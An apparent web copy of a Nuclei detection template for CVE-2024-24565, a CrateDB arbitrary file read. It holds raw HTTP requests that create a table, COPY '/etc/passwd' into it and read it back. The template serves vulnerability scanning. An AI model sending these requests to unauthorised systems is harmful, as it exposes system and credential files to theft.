CrateDB Database - Arbitrary File Read

ID: CVE-2024-24565

Severity: medium

Author: DhiyaneshDK

Tags: cve,cve2024,cratedb,lfi,exposure,intrusive

Description

CrateDB is a distributed SQL database that makes it simple to store and analyze massive amounts of data in real-time. There is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage.

YAML Source

id: CVE-2024-24565

info:
  name: CrateDB Database - Arbitrary File Read
  author: DhiyaneshDK
  severity: medium
  description: |
    CrateDB is a distributed SQL database that makes it simple to store and analyze massive amounts of data in real-time. There is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-24565
    cwe-id: CWE-22
    epss-score: 0.0005
    epss-percentile: 0.18617
    cpe: cpe:2.3:a:cratedb:cratedb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cratedb
    product: cratedb
    fofa-query: title="CrateDB"
  tags: cve,cve2024,cratedb,lfi,exposure,intrusive

variables:
  table_name: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /_sql?types HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"stmt":"CREATE TABLE {{table_name}}(info_leak STRING)"}

      - |
        POST /_sql?types HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"stmt":"COPY {{table_name}} FROM '/etc/passwd' with (format='csv', header=false)"}

      - |
        POST /_sql?types HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"stmt":"SELECT * FROM {{table_name}} limit 100"}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body_3)
          - "contains_all(header, 'application/json')"
          - "status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200"
        condition: and
# digest: 4a0a00473045022100ff0a3748659813d1d40767c148126e2ddcca691ac6402c17546e1929fbe483c3022014a10ab086c787e109c0a202dd0b8c1fb9bcd2aa15da5b05d554fae63ac720d6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-24565.yaml"

View on Github